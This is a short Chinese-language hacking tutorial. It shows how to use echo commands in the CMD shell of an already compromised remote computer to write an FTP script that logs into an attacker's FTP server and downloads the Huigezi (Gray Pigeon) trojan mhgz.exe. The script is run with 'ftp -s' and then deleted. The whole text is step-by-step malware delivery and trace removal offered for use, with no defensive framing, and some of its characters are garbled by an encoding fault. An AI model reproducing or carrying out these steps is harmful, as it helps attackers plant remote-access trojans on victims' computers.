在遠程計算機的CMD環(huán)境下，如果不能通過IPC$渠道傳送文件，那就只有通過FTP下載文件了。
假設(shè)我們已經(jīng)有一個FTP服務(wù)器，上面有一個我們配置好的灰鴿子木馬文件mhgz.exe,我們應(yīng)該知道FTP服務(wù)器的三個參數(shù)：

1、FTP服務(wù)器的IP地址：如203.75.44.34
2、FTP服務(wù)器的用戶名：如tty
3、FTP服務(wù)器的密 碼：如tty123

在遠程計算機的CMD下依次輸入下面的命令：

1、echo open 203.75.44.34>>tty.txt 登陸FTP服務(wù)器
2、echo tty>>tty.txt 用戶名
3、echo tty123>>tty.txt 密碼
4、echo bin>>tty.txt 開始
5、echo get mhgz.exe>>tty.txt 下載灰鴿子木馬
6、echo bye>>tty.txt 關(guān)閉FTP服務(wù)器

輸入上面命令后，在遠程計算機上就會生成一個tty.txt文件，內(nèi)容為：
open 203.75.44.34
tty
tty123
bin
get mhgz.exe
bye

現(xiàn)在我們在遠程計算機上執(zhí)行下面的命令：
ftp -s:tty.txt 意思是，讀取tty.txt里的參數(shù)，執(zhí)行ftp命令，命令執(zhí)行完后，灰鴿子木馬文件mhgz.exe就下載到對方計算機里了。


del c:\tty.txt